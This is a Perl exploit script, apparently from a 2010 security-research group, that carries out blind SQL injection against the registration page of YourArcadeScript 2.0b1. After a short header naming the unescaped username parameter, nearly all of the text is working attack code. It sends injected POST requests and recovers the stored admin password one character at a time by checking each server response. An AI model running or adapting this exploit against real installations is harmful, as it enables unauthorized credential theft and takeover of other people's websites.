YourArcadeScript 2.0b1 – Blind SQL Injection
#!/usr/bin/perl use LWP::UserAgent; use HTTP::Request::Common qw(POST); use Getopt::Long; # \#'#/ # (-.-) # ------------------oOO---(_)---OOo----------------- # | __ __ | # | _____/ /_____ ______/ /_ __ ______ ______ | # | / ___/ __/ __ `/ ___/ __ \/ / / / __ `/ ___/ | # | (__ ) /_/ /_/ / / / /_/ / /_/ / /_/ (__ ) | # | /____/\__/\__,_/_/ /_.___/\__,_/\__, /____/ | # | Security Research Division /____/ 2o1o | # -------------------------------------------------- # | YourArcadeScript v2.0b1 Blind SQL Injection | # -------------------------------------------------- # [!] Discovered by.: DNX # [!] Homepage......: http://starbugs.host.sk # [!] Vendor........: http://www.yourarcadescript.com # [!] Detected......: 21.05.2010 # [!] Reported......: 22.05.2010 # [!] Response......: xx.xx.2010 # # [!] Background....: Our script has features that other scripts have but ours is # FREE! YourArcadeScript is a free arcade script, but can be # used for pictures, youtube, or other media files. # # [!] Requirements..: magic_quotes_gpc = Off # # [!] Bug...........: $_POST["username"] in includes/saveregister.php near line 3 # # 03: $username=$_POST["username"]; # # 11: $res=mysql_query("select * from user where username like '$username'") or die(mysql_error()); # if(!$ARGV[1]) { print "\n \\#'#/ "; print "\n (-.-) "; print "\n --------------------oOO---(_)---OOo--------------------"; print "\n | YourArcadeScript v2.0b1 Blind SQL Injection Exploit |"; print "\n | coded by DNX |"; print "\n -------------------------------------------------------"; print "\n[!] Usage: perl yas.pl [Host] [Path] <Options>"; print "\n[!] Example: perl yas.pl 127.0.0.1 /yas/"; print "\n[!] Options:"; print "\n -p [ip:port] Proxy support"; print "\n"; exit; } my %options = (); GetOptions(\%options, "p=s"); my $ua = LWP::UserAgent->new(); my $host = $ARGV[0]; my $path = $ARGV[1]; my $target = "http://".$host.$path; if($options{"p"}) { $ua->proxy('http', "http://".$options{"p"}); } print "[!] Exploiting...\n"; go(); print "\n[!] Exploit done\n"; sub go { syswrite(STDOUT, "[!] Get Admin Password: ", 24); for(my $i = 1; $i <= 32; $i++) { my $found = 0; my $h = 48 ; while(!$found && $h <= 102) { if(exploit($i, $h)) { $found = 1; syswrite(STDOUT, chr($h), 1); } $h++; if($h == 58) { $h = 97; } } } } sub exploit { my $i = shift; my $h = shift; my $url = $target."includes/saveregister.php"; my $inj = "_#1337#_' or substring((select password FROM settings limit 1),".$i.",1)=CHAR(".$h.")/*"; my $req = POST $url, [username => $inj]; my $res = $ua->request($req); if($res->content =~ /Sorry username exists register again/s) { return 1; } else { return 0; } } |